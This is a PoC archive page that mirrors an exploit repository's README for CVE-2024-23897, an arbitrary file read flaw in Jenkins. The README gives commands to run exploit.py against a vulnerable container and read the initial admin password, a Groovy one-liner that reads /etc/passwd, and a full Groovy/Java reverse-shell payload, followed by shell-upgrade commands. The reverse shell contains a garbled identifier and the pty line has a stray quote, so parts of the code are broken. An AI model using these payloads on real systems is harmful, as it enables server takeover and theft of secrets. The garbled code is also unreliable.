Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-23897 PoC — Jenkins 安全漏洞

Source
Associated Vulnerability
Title:Jenkins 安全漏洞 (CVE-2024-23897)
Description:Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
Readme
# Exploit-CVE-2024-23897

# Run the Container
docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17

# Check logs
docker logs <machine_name>


# Fetch docker machines IP:
docker inspect vulnerable-jenkins | grep IPAddress


#Exploitation Code:
python3 exploit.py --target http://127.0.0.1:8080 --file /var/jenkins_home/secrets/initialAdminPassword --request-timeout 30



# Groovy Script:
println "cat /etc/passwd".execute().text



# RCE
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(metavariable()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();



# To set environmental variables
export TERM=xterm


#For interactive shell


python -c 'import pty'; pty.spawn("/bin/bash")'
File Snapshot

[4.0K] /data/pocs/f376479b9ae5282db46d9fef2b331979f9f036e0 ├── [6.1K] exploit.py └── [1.1K] README.md 1 directory, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →